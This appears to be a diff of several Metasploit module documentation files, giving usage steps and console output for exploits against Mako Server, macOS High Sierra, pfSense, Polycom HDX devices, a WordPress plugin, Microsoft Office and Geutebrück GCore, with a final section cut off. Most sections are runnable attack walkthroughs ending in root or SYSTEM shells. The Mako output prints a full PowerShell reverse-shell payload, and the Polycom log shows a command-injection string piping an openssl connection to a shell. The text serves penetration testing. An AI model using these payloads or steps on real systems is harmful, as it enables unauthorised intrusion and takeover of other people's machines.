This module has been verified against the following Mako Server versions for Windows XP SP3, Windows 7 SP1 and Linux Ubuntu 16.04 LTS:
- v2.5
- v2.6
Links:
- [Windows x86 installer](https://makoserver.net/download/mako.windows.x86.exe)
- [Windows download page](https://makoserver.net/download/windows)
- [Linux x64 installer](https://makoserver.net/download/mako.linux-x64.tar.gz)
- [Linux download page](https://makoserver.net/download/linux-x86)
- [Documentation](https://makoserver.net/download/manual)
## References for vulnerability
- https://blogs.securiteam.com/index.php/archives/3391
- https://www.exploit-db.com/exploits/42683
## Verification Steps for Windows
1. Run the installer "mako.windows.x86" on a Windows 7 SP1 (x86/x64) target (with Powershell for this example to work)
2. After installer finishes, double click the "Mako-Demo" shortcut on the desktop
4. Start msfconsole on host
5. Do: ```use exploit/multi/http/makoserver_cmd_exec```
6. Do: ```set RHOST <IP address of target system>```
7. Do: ```set PAYLOAD cmd/windows/reverse_powershell```
8. Do: ```set LHOST <IP address of host system>```
9. Do: ```exploit```
10. You should get a Windows command shell
## Verification Steps for Linux
1. Extract the "mako.linux-x64.tar.gz" on a Linux Ubuntu 16.04 LTS (x64) target (with Python for this example to work)
2. From inside the extracted folder, do ```./rundemo.sh```
4. Start msfconsole on host
5. Do: ```use exploit/multi/http/makoserver_cmd_exec```
6. Do: ```set RHOST <IP address of target system>```
7. Do: ```set PAYLOAD cmd/unix/python_reverse```
8. Do: ```set LHOST <IP address of host system>```
9. Do: ```exploit```
10. You should get a Linux command shell (may need to wait ~30 seconds)
## Example Output
```
msf > use exploit/multi/http/makoserver_cmd_exec
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.3
RHOST => 10.10.10.3
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
PAYLOAD => cmd/windows/reverse_powershell
msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.2
LHOST => 10.10.10.2
msf exploit(makoserver_cmd_exec) > exploit
[*] Started reverse TCP handler on 10.10.10.2:4444
[*] Sending payload to target...
[*] Command shell session 1 opened (10.10.10.2:4444 -> 10.10.10.3:49175) at 2017-10-26 21:23:59 -0400
Microsoft Windows
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\Smith\Downloads\MakoServer>
```
## Example Verbose Output
```
msf > use exploit/multi/http/makoserver_cmd_exec
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.3
RHOST => 10.10.10.3
msf exploit(makoserver_cmd_exec) > set VERBOSE true
VERBOSE => true
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
PAYLOAD => cmd/windows/reverse_powershell
msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.2
LHOST => 10.10.10.2
msf exploit(makoserver_cmd_exec) > check
[*] Trying to detect running Mako Server and necessary files...
[*] Mako Server save.lsp returns correct ouput.
[*] 10.10.10.3:80 The target appears to be vulnerable.
msf exploit(makoserver_cmd_exec) > exploit
[*] Started reverse TCP handler on 10.10.10.2:4444
[*] Sending payload to target...
[*] Now executing the following command: os.execute([[powershell -w hidden -nop -c function RSC{if ($c.Connected -eq $true) {$c.Close()};if ($p.ExitCode -ne $null) {$p.Close()};exit;};$a='10.10.10.2';$p='4444';$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$p);$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;while($os.Peek() -ne -1){$o += $e.GetString($os.Read())};$s.Write($e.GetBytes($o),0,$o.Length);$o=$null;$d=$false;$t=0;while (-not $d) {if ($c.Connected -ne $true) {RSC};$pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) {$r=$s.Read($nb,$pos,$nb.Length - $pos);$pos+=$r;if (-not $pos -or $pos -eq 0) {RSC};if ($nb[0..$($pos-1)] -contains 10) {break}};if ($pos -gt 0){$str=$e.GetString($nb,0,$pos);$is.write($str);start-sleep 1;if ($p.ExitCode -ne $null){RSC}else{$o=$e.GetString($os.Read());while($os.Peek() -ne -1){$o += $e.GetString($os.Read());if ($o -eq $str) {$o=''}};$s.Write($e.GetBytes($o),0,$o.length);$o=$null;$str=$null}}else{RSC}};]])
[*] Sending PUT request to save.lsp...
[*] Sending GET request to manage.lsp...
[*] Command shell session 1 opened (10.10.10.2:4444 -> 10.10.10.3:49174) at 2017-10-26 21:21:08 -0400
Microsoft Windows
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\Smith\Downloads\MakoServer>
```
## Scenarios
### Targeting Windows 7 SP1 x64 running Mako Server v2.5
A typical scenario would be to obtain a Windows command shell and then upgrade to a Meterpreter session:
```
msf > use exploit/multi/http/makoserver_cmd_exec
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.2
RHOST => 10.10.10.2
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
PAYLOAD => cmd/windows/reverse_powershell
msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.4
LHOST => 10.10.10.4
msf exploit(makoserver_cmd_exec) > check
[*] 10.10.10.2:80 The target appears to be vulnerable.
msf exploit(makoserver_cmd_exec) > exploit
[*] Started reverse TCP handler on 10.10.10.4:4444
[*] Sending payload to target...
[*] Command shell session 1 opened (10.10.10.4:4444 -> 10.10.10.2:49189) at 2017-10-25 20:57:56 -0400
Microsoft Windows
Copyright (c) Microsoft Corporation. All rights reserved.
C:\Users\Smith\Downloads\MakoServer>^Z
Background session 1? [y/N] y
msf exploit(makoserver_cmd_exec) > use multi/manage/shell_to_meterpreter
msf post(shell_to_meterpreter) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/windows 10.10.10.4:4444 -> 10.10.10.2:49189 (10.10.10.2)
msf post(shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf post(shell_to_meterpreter) > set LPORT 8080
LPORT => 8080
msf post(shell_to_meterpreter) > exploit
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.10.10.4:8080
[-] Powershell is not installed on the target.
[*] Command stager progress: 1.66% (1699/102108 bytes)
...
[*] Command stager progress: 100.00% (102108/102108 bytes)
[*] Post module execution completed
msf post(shell_to_meterpreter) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/windows 10.10.10.4:4444 -> 10.10.10.2:49189 (10.10.10.2)
2 meterpreter x86/windows smith-PC\smith @ SMITH-PC 10.10.10.4:8080 -> 10.10.10.2:49190 (10.10.10.2)
msf post(shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
Server username: smith-PC\smith
meterpreter > sysinfo
Computer : SMITH-PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
```
### Targeting Linux Ubuntu 16.04 LTS x64 running Mako Server v2.5
A typical scenario would be to obtain a Linux command shell and then upgrade to a Meterpreter session:
```
msf > use exploit/multi/http/makoserver_cmd_exec
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.2
RHOST => 10.10.10.2
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/unix/reverse_python
PAYLOAD => cmd/unix/reverse_python
msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.4
LHOST => 10.10.10.4
msf exploit(makoserver_cmd_exec) > check
[*] 10.10.10.2:80 The target appears to be vulnerable.
msf exploit(makoserver_cmd_exec) > exploit
[*] Started reverse TCP handler on 10.10.10.4:4444
[*] Sending payload to target...
[*] Command shell session 1 opened (10.10.10.4:4444 -> 10.10.10.2:57888) at 2017-11-10 15:52:33 -0500
ls
LICENSE.txt
mako
mako.zip
README.txt
rundemo.sh
tutorial
^Z
Background session 1? [y/N] y
msf exploit(makoserver_cmd_exec) > use multi/manage/shell_to_meterpreter
msf post(shell_to_meterpreter) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/unix 10.10.10.4:4444 -> 10.10.10.2:57888 (10.10.10.2)
msf post(shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf post(shell_to_meterpreter) > set LPORT 8080
LPORT => 8080
msf post(shell_to_meterpreter) > exploit
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.10.10.4:8080
[*] Sending stage (847604 bytes) to 10.10.10.2
[*] Meterpreter session 2 opened (10.10.10.4:8080 -> 10.10.10.2:60448) at 2017-11-10 15:54:38 -0500
[*] Command stager progress: 100.00% (736/736 bytes)
[*] Post module execution completed
msf post(shell_to_meterpreter) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/unix 10.10.10.4:4444 -> 10.10.10.2:57888 (10.10.10.2)
2 meterpreter x86/linux uid=1000, gid=1000, euid=1000, egid=1000 @ 10.10.10.2 10.10.10.4:8080 -> 10.10.10.2:60448 (10.10.10.2)
msf post(shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000
meterpreter > sysinfo
Computer : 10.10.10.2
OS : Ubuntu 16.04 (Linux 4.10.0-35-generic)
Architecture : x64
Meterpreter : x86/linux
```

View File

@ -0,0 +1,104 @@
## Vulnerable Application
This vulnerability works against OSX 10.13 (High Sierra). Early
research (https://objective-see.com/blog/blog_0x24.html) suggests that
the vulnerability is the result of multiple errors ultimately started by
an incorrect return value from triggered by the function
`od_verify_crypt_password` returning true even if the account is
disabled. The subsequent function calls appear to validate and create
the password, though there is still a lot of research into the bug and
these results should be verified once more research has been published.
## Verification Steps
1. Get a session on a vulnerable system
2. `use exploit/osx/local/root_no_password`
3. `set lhost <IP>`
4. `set lport <PORT>`
5. `set session <session_id>`
6. `run`
## Scenarios
### Example Run
```
msf exploit(psexec) > use exploit/multi/handler
msf exploit(handler) > set payload osx/x64/meterpreter_reverse_tcp
payload => osx/x64/meterpreter_reverse_tcp
msf exploit(handler) > set lhost <MSF_IP>
lhost => <MSF_IP>
msf exploit(handler) > set lport 4567
lport => 4567
msf exploit(handler) > run
[*] Started reverse TCP handler on <MSF_IP>:4567
httpserver[*] Meterpreter session 1 opened (<MSF_IP>:4567 -> <OSX_IP>:49347) at 2017-11-29 07:28:32 -0600
meterpreter > sysinfo
Computer : msfusers-Mac.local
OS : (MacOSX 17.0.0)
Architecture : x64
Meterpreter : x64/osx
meterpreter > getuid
Server username: uid=501, gid=20, euid=501, egid=20
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use exploit/osx/local/root_no_password
msf exploit(root_no_password) > show options
Module options (exploit/osx/local/root_no_password):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (osx/x64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Mac OS X 10.13.1 High Sierra x64 (Native Payload)
msf exploit(root_no_password) > set lhost <MSF_IP>
lhost => <MSF_IP>
msf exploit(root_no_password) > set lport 4562
lport => 4562
msf exploit(root_no_password) > set session 1
session => 1
msf exploit(root_no_password) > run
[*] Started reverse TCP handler on <MSF_IP>:4562
[*] Writing payload file as '/tmp/cinbvsmrmyxw'
[*] Meterpreter session 2 opened (<MSF_IP>:4562 -> <OSX_IP>:62522) at 2017-11-29 07:29:56 -0600
[*] <OSX_IP> - Meterpreter session 2 closed. Reason: Died
[*] Executing payload file as '/tmp/cinbvsmrmyxw'
[!] This exploit may require manual cleanup of '/tmp/cinbvsmrmyxw' on the target
[-] Invalid session identifier: 2
msf exploit(root_no_password) >
msf exploit(root_no_password) >
msf exploit(root_no_password) > run
[*] Started reverse TCP handler on <MSF_IP>:4562
[*] Writing payload file as '/tmp/imtjkakowanv'
[*] Executing payload file as '/tmp/imtjkakowanv'
[*] Meterpreter session 3 opened (<MSF_IP>:4562 -> <OSX_IP>:49348) at 2017-11-29 07:30:53 -0600
[+] Deleted /tmp/imtjkakowanv
meterpreter > sysinfo
Computer : msfusers-Mac.local
OS : (MacOSX 17.0.0)
Architecture : x64
Meterpreter : x64/osx
meterpreter > getuid
Server username: uid=0, gid=20, euid=0, egid=20
meterpreter >
```

View File

@ -0,0 +1,114 @@
## Description
This module exploits a vulnerability in pfSense version 2.3 and before which allows an authenticated user to execute arbitrary operating system commands
as root.
This module has been tested successfully on version 2.3-RELEASE, and 2.2.6.
## Vulnerable Application
This module has been tested successfully on version CE 2.3 amd64, and 2.2.6 amd64.
Installer:
* [pfSense CE 2.3](https://nyifiles.pfsense.org/mirror/downloads/old/pfSense-CE-2.3-RELEASE-amd64.iso.gz)
## Verification Steps
1. Start `msfconsole`
2. Do: `use exploit/unix/http/pfsense_group_member_exec`
3. Do: `set rhost [IP]`
4. Do: `set username [username]`
5. Do: `set password [password]`
6. Do: `exploit`
7. You should get a session
## Sample Output
### 2.3-Release amd64
```
[*] Processing pfsense.rc for ERB directives.
resource (pfsense.rc)> use exploit/unix/http/pfsense_group_member_exec
resource (pfsense.rc)> set rhost 2.2.2.2
rhost => 2.2.2.2
resource (pfsense.rc)> set verbose true
verbose => true
resource (pfsense.rc)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (pfsense.rc)> check
[*] 2.2.2.2:443 The target service is running, but could not be validated.
resource (pfsense.rc)> exploit
[*] Started reverse double SSL handler on 1.1.1.1:4444
[*] CSRF Token for login: sid:a11be2ee5849522898e2c1ff23739b35c76435bf,1510545358;ip:d70924f708189287bdee1e08d7fa83758a0e1f68,1510545358
[*] Successful Authentication
[*] pfSense Version Detected: 2.3-RELEASE
[+] Login Successful
[*] CSRF Token for group creation: sid:823a6f854ad1bae307c2959e95ccc98a8d72f2c1,1510545361
[*] Manual removal of group aJPEfJLDKT is required.
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 5ER6rqZOjOSGjRml;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "5ER6rqZOjOSGjRml\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:25824) at 2017-11-19 08:15:00 -0500
whoami
root
uname -a
FreeBSD . 10.3-RELEASE FreeBSD 10.3-RELEASE #6 05adf0a(RELENG_2_3_0): Mon Apr 11 18:52:07 CDT 2016 root@ce23-amd64-builder:/builder/pfsense-230/tmp/obj/builder/pfsense-230/tmp/FreeBSD-src/sys/pfSense amd64
```
### 2.2.6 amd64
```
[*] Processing pfsense.rc for ERB directives.
resource (pfsense.rc)> use exploit/unix/http/pfsense_group_member_exec
resource (pfsense.rc)> set rhost 3.3.3.3
rhost => 3.3.3.3
resource (pfsense.rc)> set verbose true
verbose => true
resource (pfsense.rc)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (pfsense.rc)> check
[*] 3.3.3.3:443 The target is not exploitable.
resource (pfsense.rc)> exploit
[*] Started reverse double SSL handler on 1.1.1.1:4444
[*] CSRF Token for login: sid:bb80526160efcf79d8660d1a31f6bf88e154b38e,1511091712;ip:42d05b73fc9b2d31c54333a60fd308dfbd4da97a,1511091712
[*] Successful Authentication
[*] pfSense Version Detected: 2.2.6-RELEASE
[+] Login Successful
[*] CSRF Token for group creation: sid:d49a6dc5b7e98c92a7772c605af3586a1f3adc75,1511091715
[*] Manual removal of group okUPTvzysL is required.
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 7hKg6oD9DkwXYRtt;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "7hKg6oD9DkwXYRtt\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (1.1.1.1:4444 -> 3.3.3.3:34403) at 2017-11-19 06:42:00 -0500
whoami
root
uname -a
FreeBSD pfSense.localdomain 10.1-RELEASE-p25 FreeBSD 10.1-RELEASE-p25 #0 c39b63e(releng/10.1)-dirty: Mon Dec 21 15:20:13 CST 2015 root@pfs22-amd64-builder:/usr/obj.RELENG_2_2.amd64/usr/pfSensesrc/src.RELENG_2_2/sys/pfSense_SMP.10 amd64
```
## Cleanup
Manual cleanup is required. The group name is printed during exploitation.
## Logging
Logging into the web interface writes a line to the system out on the console similar to: `pfSense php-fpm[72834]: /index.php: Succeessful login for user 'admin' from [ip]`

View File

@ -0,0 +1,131 @@
Within Polycom HDX series devices, there is a command execution vulneralbility in one of the dev commands `devcmds`, `lan traceroute` which subtituing `$()` or otherwise similiar operand , similiar to [polycom_hdx_auth_bypass](https://github.com/rapid7/metasploit-framework/blob/f250e15b6ee2d7b3e38ee1229bee533a021d1415/modules/exploits/unix/polycom_hdx_auth_bypass.rb) could allow for an attacker to obtain a command shell. Spaces must be replaced with `#{IFS}` aka `Internal Field Seperator`
## Vulnerable Application
Tested on the latest and greatest version of the firmware, vendor has not patched since being reported. [Found here](http://downloads.polycom.com/video/hdx/polycom-hdx-release-3.1.10-51067.pup)
## Options
### PASSWORD
Although a majority of devices come without a password, occasionally when one is required, you can set one to either the default `456`, `admin`, or `POLYCOM`, or
the devices.
## Payloads
Supported payloads include the telnet payload `cmd/unix/reverse` but not `cmd/unix/reverse_ssl_double_telnet` Alternatively, `cmd/unix/reverse_openssl` can be used or, your own choice of executing any arbitary command with `cmd/unix/generic`
```
Compatible Payloads
===================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
cmd/unix/generic normal Unix Command, Generic Command Execution
cmd/unix/reverse normal Unix Command Shell, Double Reverse TCP (telnet)
cmd/unix/reverse_openssl normal Unix Command Shell, Double Reverse TCP SSL (openssl)
cmd/unix/reverse_ssl_double_telnet normal Unix Command Shell, Double Reverse TCP SSL (telnet)
```
## Verification Steps
A successful check of the exploit will look like this:
```
msf exploit(polycom) > set RHOST 192.168.0.17
RHOST => 192.168.0.17
msf exploit(polycom) > set LHOSt ens3
LHOSt => ens3
msf exploit(polycom) > set LPORT 3511
LPORT => 3511
msf exploit(polycom) > show payloads
Compatible Payloads
===================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
cmd/unix/generic normal Unix Command, Generic Command Execution
cmd/unix/reverse normal Unix Command Shell, Double Reverse TCP (telnet)
cmd/unix/reverse_openssl normal Unix Command Shell, Double Reverse TCP SSL (openssl)
cmd/unix/reverse_ssl_double_telnet normal Unix Command Shell, Double Reverse TCP SSL (telnet)
msf exploit(polycom) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf exploit(polycom) > set VERBOSE false
VERBOSE => false
msf exploit(polycom) > run
[*] Started reverse TCP double handler on 192.168.0.11:3511
[+] 192.168.0.17:23 - 192.168.0.17:23 - Device has no authentication, excellent!
[+] 192.168.0.17:23 - Sending payload of 126 bytes to 192.168.0.17:34874...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo vGopPRp0jBxt4J2D;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "vGopPRp0jBxt4J2D\n"
[*] Matching...
[*] A is input...
[*] Command shell session 10 opened (192.168.0.11:3511 -> 192.168.0.17:37687) at 2017-11-15 10:29:58 -0500
[*] 192.168.0.17:23 - Shutting down payload stager listener...
id
uid=0(root) gid=0(root)
whoami
root
```
## Debugging
Setting `VERBOSE` to true should yield an output of.
```
msf exploit(polycom) > set VERBOSE true
VERBOSE => true
rmsf exploit(polycom) > run
[*] Started reverse TCP double handler on 192.168.0.11:3511
[*] 192.168.0.17:23 - Received : !
Polycom Command Shell
XCOM host: localhost port: 4121
TTY name: /dev/pts/6
Session type: telnet
2017-11-15 15:33:12 DEBUG avc: pc[0]: XCOM:INFO:server_thread_handler: freeing conn [conn: 0x1266f300] [sock: 104] [thread: 0x12559e68]
2017-11-15 15:33:12 DEBUG jvm: pc[0]: UI: xcom-api: SessionHandler: freeing session 4340
2017-11-15 15:33:12 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: deleteSession(sess: 4340)
2017-11-15 15:33:12 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: deleteSession current open sessions count= 9
2017-11-15 15:33:12 DEBUG avc: pc[0]: XCOM:INFO:main_server_thread: new connection [conn: 0x1266f300] [sock: 104]
2017-11-15 15:33:12 DEBUG avc: pc[0]: XCOM:INFO:server_thread_handler: new conn [conn: 0x1266f300] [sock: 104] [thread: 0x1255a010] [TID: 3380]
2017-11-15 15:33:12 DEBUG avc: pc[0]: uimsg: [R: telnet /tmp/apiasynclisteners/psh6 /dev/pts/6]
2017-11-15 15:33:13 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: createSession(type: telnet sess: 4342)
2017-11-15 15:33:13 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: createSession current open sessions count= 10
2017-11-15 15:33:13 DEBUG avc: pc[0]: appcom: register_api_session pSession=0x12669918
2017-11-15 15:33:13 DEBUG avc: pc[0]: appcom: about to call sendJavaMessageEx
2017-11-15 15:33:13 DEBUG avc: pc[0]: appcom: session 4342 registered
[+] 192.168.0.17:23 - 192.168.0.17:23 - Device has no authentication, excellent!
[+] 192.168.0.17:23 - Sending payload of 126 bytes to 192.168.0.17:37450...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo WD3QloY3fys6n7dK;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] 192.168.0.17:23 - devcmds
Entering sticky internal commands *ONLY* mode...
lan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}192.168.0.11${IFS}-port${IFS}37873|sh`
2017-11-15 15:33:13 DEBUG avc: pc[0]: uimsg: [D: lan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}192.168.0.11${IFS}-port${IFS}37873|sh`]
2017-11-15 15:33:13 DEBUG avc: pc[0]: os: task:DETR pid:3369 thread 4e5ff4c0 11443 12660c68
2017-11-15 15:33:14 INFO avc: pc[0]: DevMgrEther: Trace Route Command Entry, hostnameORIP: `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}192.168.0.11${IFS}-port${IFS}37873|sh` hop_count: 0
[*] Reading from socket B
[*] B: "WD3QloY3fys6n7dK\n"
[*] Matching...
[*] A is input...
[*] Command shell session 11 opened (192.168.0.11:3511 -> 192.168.0.17:38624) at 2017-11-15 10:34:23 -0500
[*] 192.168.0.17:23 - Shutting down payload stager listener...
id
uid=0(root) gid=0(root)
whoami
root
```

View File

@ -0,0 +1,63 @@
## Vulnerable Application
wp-mobile-detector is a wordpress plugin which was removed from the wordpress site after this vulnerability
was disclosed. Version 3.5 and earlier can be directed to upload a file from a remote web server, and then
the file can be executed by the client.
Download [wp-mobile-detector](https://www.exploit-db.com/apps/bf8bdbac0b01e14788aa2d4a0d9c6971-wp-mobile-detector.3.5.zip)
from Exploit-db since wordpress removed it.
Due to its age, it may be difficult to install. The install for the scenario later is:
* Ubuntu 16.04.2
* Apache 2.4.18
* PHP 7
* Wordpress 4.4.2
## Verification Steps
Example steps in this format (is also in the PR):
1. Install the application
2. Start msfconsole
3. Do: ```use exploit/unix/webapp/wp_mobile_detector_upload_execute```
4. Do: ```set rhost [ip]```
5. Do: ```set lhost [ip]```
6. Do: ```set srvhost [ip]```
7. Do: ```exploit```
8. You should get a shell.
## Scenarios
### wp-mobile-detector 3.5 on Wordpress 4.4.2
```
msf > use exploit/unix/webapp/wp_mobile_detector_upload_execute
msf exploit(wp_mobile_detector_upload_execute) > set rhost 2.2.2.2
rhost => 2.2.2.2
msf exploit(wp_mobile_detector_upload_execute) > set TARGETURI /wordpress/
TARGETURI => /wordpress/
msf exploit(wp_mobile_detector_upload_execute) > check
[*] 2.2.2.2:80 The target appears to be vulnerable.
msf exploit(wp_mobile_detector_upload_execute) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
smsf exploit(wp_mobile_detector_upload_execute) > set lhost 1.1.1.1
lhost => 1.1.1.1
msf exploit(wp_mobile_detector_upload_execute) > set srvhost 1.1.1.1
srvhost => 1.1.1.1
msf exploit(wp_mobile_detector_upload_execute) > exploit
[*] Exploit running as background job 2.
[*] Started reverse TCP handler on 1.1.1.1:4444
msf exploit(wp_mobile_detector_upload_execute) > [*] Starting Payload Server
[*] Using URL: http://1.1.1.1:8080/ZWTgqwsiFL.php
[*] Uploading payload via /wordpress/wp-content/plugins/wp-mobile-detector/resize.php?src=http://1.1.1.1:8080/ZWTgqwsiFL.php
[+] Payload requested on server, sending
[+] Sleeping 5 seconds for payload upload
[*] Executing the payload via /wordpress/wp-content/plugins/wp-mobile-detector/cache/ZWTgqwsiFL.php
[*] Sending stage (37514 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:47064) at 2017-10-20 22:54:04 -0400
[+] Deleted ZWTgqwsiFL.php
[*] Server stopped.
```

View File

@ -0,0 +1,56 @@
Module exploits a flaw in how the Equation Editor that allows an attacker to execute arbitrary code in RTF files without interaction. The vulnerability is caused by the Equation Editor, to which fails to properly handle OLE objects in memory.
## Vulnerable Application
- Microsoft Office 2016
- Microsoft Office 2013 Service Pack 1
- Microsoft Office 2010 Service Pack 2
- Microsoft Office 2007
## Verification Steps
1. Start msfconsole
2. Do: `use exploit/windows/fileformat/office_ms17_11882`
3. Do: `set PAYLOAD [PAYLOAD]`
4. Do: `run`
## Options
### FILENAME
Filename to output & if injecting a file, the file to inject
### FOLDER_PATH
Path to filename to inject
## Example
```
msf > use exploit/windows/fileformat/office_ms17_11882
msf exploit(office_ms17_11882) > set FILENAME msf.rtf
FILENAME => /home/mumbai/file.rtf
msf exploit(office_ms17_11882) > set LHOST ens3
LHOST => ens3
msf exploit(office_ms17_11882) > set LPORT 35116
LPORT => 35116
msf exploit(office_ms17_11882) > run
[*] Using URL: http://0.0.0.0:8080/BUY0DYgc
[*] Local IP: http://192.1668.0.11:8080/BUY0DYgc
[*] Server started.
[*] 192.168.0.24 office_ms17_11882 - Handling initial request from 192.168.0.24
[*] 192.168.0.24 office_ms17_11882 - Stage two requestd, sending
[*] Sending stage (205379 bytes) to 192.168.0.24
[*] Meterpreter session 1 opened (192.168.0.11:35116 -> 192.168.0.24:52217) at 2017-11-21 14:41:59 -0500
sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : TEST-PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
meterpreter >
```

View File

@ -0,0 +1,69 @@
## Vulnerable Application
Geutebrück GCore Server 1.3.8.42, 1.4.2.37 are vulnerable to a buffer overflow exploitation.
Since this application is started with system privileges this allows a system remote code execution.
## Verification Steps
1. Install Windows as basic OS (Tested with Win2012R2, Windows 7)
2. Install the Geutebrück GCore server
3. Verify that http://<your target ip>:13003/statistics/runningmoduleslist.xml available is.
4. Start msfconsole
5. Do: ```use [exploit/windows/http/geutebrueck_gcore_x64_rce_bo]```
6. Do: ```set rhost <your target ip>```
7. Do: ```set rport 13003```
8. Do: ```set payload windows/x64/meterpreter/reverse_tcp```
9. Do: ```exploit```
10. You should get a shell as NT/SYSTEM.
## Scenarios
### Geutebrueck GCore 1.4.2.37
```
msf exploit(geutebrueck_gcore_x64_rce_bo) > show options
Module options (exploit/windows/http/geutebrueck_gcore_x64_rce_bo):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.10 yes The target address
RPORT 13003 yes The target port
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.11 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(geutebrueck_gcore_x64_rce_bo) > exploit
[*] Started reverse TCP handler on 192.168.1.11:4444
[*] 192.168.1.10:13003 - Trying to fingerprint server with http://192.168.1.10:13003/statistics/runningmoduleslist.xml...
[*] 192.168.1.10:13003 - Vulnerable version detected: GCore 1.4.2.37, Windows x64 (Win7, Win8/8.1, Win2012R2,...)
[*] 192.168.1.10:13003 - Preparing ROP chain for target 1.4.2.37!
[*] 192.168.1.10:13003 - Crafting Exploit...
[*] 192.168.1.10:13003 - Exploit ready for sending...
[*] 192.168.1.10:13003 - Exploit sent! [*] Sending stage (1188415 bytes) to
[*] Meterpreter session 1 opened ( :4444 -> 49963) at 2017-11-03 13:14:51 +0200
[*] 192.168.1.10:13003 - Closing socket.
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid Server username:
NT-AUTORITÄT\SYSTEM
meterpreter >
```
## Mitigation
Geutebrück released a new version and an update for the affected product which should be installed to fix the described vulnerabilities.

View File

@ -0,0 +1,166 @@
## Description
This module is a Windows local exploit version of the existing file
format module for CVE-2017-8464. The module works by dropping the
specially crafted LNK file and DLL to disk, which causes
`SearchProtocolHost.exe` to parse the LNK file and thus load the DLL via
the vulnerability. Due to `SearchProtocolHost.exe` running as SYSTEM,
this can be used to elevate privileges.
The original DLL template needed some significant reworking to make it
compatible for execution within `SearchProtocolHost.exe`. The payload
was originally failing in the hollowed child `rundll32.exe` process with
a denied error from winsock. This was addressed by checking if the process
which loaded the crafted DLL is `SearchProtocolHost.exe` and when it is,
it opens the token of another SYSTEM process and passes it to
